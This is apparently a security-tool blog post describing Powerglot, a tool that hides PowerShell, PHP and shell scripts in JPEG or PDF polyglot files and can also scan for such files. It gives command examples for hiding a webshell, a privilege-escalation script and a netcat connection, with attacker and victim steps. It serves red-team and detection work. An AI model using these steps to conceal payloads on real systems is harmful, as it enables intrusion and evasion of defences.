Powerglot : Encodes Offensive Powershell Scripts Using Polyglots

Powerglot encodes several kind of scripts using polyglots, for example, offensive powershell scripts. It is not needed a loader to run the payload.

In red-team exercises or offensive tasks, masking of payloads is usually done by using steganography, especially to avoid network level protections, being one of the most common payloads scripts developed in powershell. Recent malware and APTs make use of some of these capabilities: APT32, APT37, Ursnif, Powload, LightNeuron/Turla, Platinum APT, Waterbug/Turla, Lokibot, The dukes (operation Ghost), Titanium, etc.

Powerglot is a multifunctional and multi-platform attack and defense tool based on polyglots. Powerglot allows to mask a script (powershell, shellscripting, php, …) mainly in a digital image, although other file formats are in progress. Unlike the usual offensive tools or malware, Powerglot does not need any loader to execute the “information hidden”, minimizing the noise on the target system.

PowerGlot has a clear utility in offensive tasks but it is also defined as a discovery and blue team tool. To our knowledge, it is the first general and complete open-source tool that allows to search for the presence of masked information with polyglots, information that could be useful to achieve persistence in a system or to hide malware (stego-malware, privilege escalation, lateral movement, reverse shell, etc.)

Features

  • Encode powershell/shell script/php/.. in a polyglot image. It is not necessary a loader to recover/execute the hidden information (payload). PowerGlot works with several formats. Mainly, JPEG and PDF format. Other formats are in progress.
  • Powerglot is a complete open-source tool to detect (malicious) polyglots, specially the result of some public tools as Truepolyglot or stegoSploit. We works in several formats: JPEG, PNG, GIF, BMP, ZIP, PDF, MP3, etc.

Installation

# git clone https://github.com/mindcrypt/powerglot
# python3 powerglot

Usage & Parameters

Some examples to hide payloads using polyglots with Powerglot;

#Example 1 – Hiding a powershell/php/shell script in a JPEG image

#python3 powerglot.py -o payload.ps1 cat.jpg cat-hidden1.jpg
#python3 powerglot.py -o webshell.php cat.jpg cat-hidden2.jpg
#python3 powerglot.py -o shell.sh cat.jpg cat-hidden3.jpg

#Example 2 – Hiding a shell script (linenum.sh) for privilege escalation “hidden” in a JPEG image

#python3 powerglot.py -o linenum.sh cat.jpg cat-linenum.jpg
#file cat-linenum.jpg (It is a valid JPEG file)
#feh cat-lineum.jpg (The image is properly showed in an image viewer)
#We can execute the script in several ways:

a) cat cat-linenum | bash
b) chmod +x cat-linenum.jpeg; ./cat-linenum.jpeg

#Example 3 – Hiding a cover-channel wiht netcat in a JPEG image

#Attacker
#echo “nc 127.0.0.1 4444” > netcat.sh
#python3 powerglot.py -o netcat.sh cat.jpeg cat-netcat.jpeg
#nc -nvlp 4444

#Victim
#chmod +x cat-netcat.jpg | ./cat-netcat.jpg

Some examples to detect polyglots in our filesystem

#python3 powerglot.py -d ./
–= [Detecting polyglots] –=
……………………………………………………..
[Suspicious file]-[ ./cat-end-extra2.jpg ]..
[Suspicious file]-[ ./cat-end-extra3.jpg ][Polyglot Stegosploit][EOF Signature: */ –>]
………………………………………………………………………
[Suspicious file]-[ ./cat-end-extra1.jpg ]..

Future work. Doing

  • We are working to support different file formats for encoding information in polyglots. Currently, we support several techniques in JPEG and PDF.
  • We are working to incorporate rules for the detection of polyglots in different formats. Currently, the presence of StegoSploit in JPEG files is detected (added */ –> after FFD9)

Author & License

This project has been developed by Dr. Alfonso Muñoz and Abraham Pasamar. The code is released under the GNU General Public License v3.

R K

Recent Posts

Pystinger : Bypass Firewall For Traffic Forwarding Using Webshell

Pystinger is a Python-based tool that enables SOCKS4 proxying and port mapping through webshells. It…

6 days ago

CVE-Search : A Tool To Perform Local Searches For Known Vulnerabilities

Introduction When it comes to cybersecurity, speed and privacy are critical. Public vulnerability databases like…

6 days ago

CVE-Search : A Tool To Perform Local Searches For Known Vulnerabilities

Introduction When it comes to cybersecurity, speed and privacy are critical. Public vulnerability databases like…

7 days ago

How to Bash Append to File: A Simple Guide for Beginners

If you are working with Linux or writing bash scripts, one of the most common…

7 days ago

Mastering the Bash Case Statement with Simple Examples

What is a bash case statement? A bash case statement is a way to control…

7 days ago

How to Check if a File Exists in Bash – Simply Explained

Why Do We Check Files in Bash? When writing a Bash script, you often work…

1 week ago